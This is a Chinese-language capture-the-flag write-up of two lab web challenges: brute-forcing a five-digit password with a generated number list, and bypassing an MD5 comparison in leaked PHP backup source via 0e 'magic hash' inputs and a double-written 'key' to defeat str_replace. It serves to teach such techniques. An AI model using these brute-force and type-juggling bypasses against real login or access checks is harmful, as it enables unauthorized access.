好像需要密码
题目
;
;
根据提示,这是个数值爆破,理论上只需要按照数值进行爆破就行。
;
;
但是关键点在于这东西实在是太慢了……
简单写个python生成字典,字典的值是10000到99999的:
with open("1.txt","w") as file: for i in range(10000,100000): file.write(str(i)+'\n')
|

将生成的字典载入进去进行爆破,没几分钟就得到了flag:

总结
题型:数值爆破
技巧:先生成字典再进行爆破
备份是个好东西
题目


尝试使用md5解码

对代码进行分析

<?php
include_once "flag.php"; ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
|
代码分析出来差不多是这样:
$str = str_replace('key','',$str); md5($key1) == md5($key2) $key1 !== $key2
|
php常见弱类型
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
|
最终构造为:
得到的flag:
0e5459932745177090343288558410200e342768416822451524974117254469flag{9b6949ecd5508a59495fab9b05a33bfe}鍙栧緱flag
|

总结
index.php网站的备份文件:index.php.bak php弱类型绕过 php str_replace 双写变量绕过
|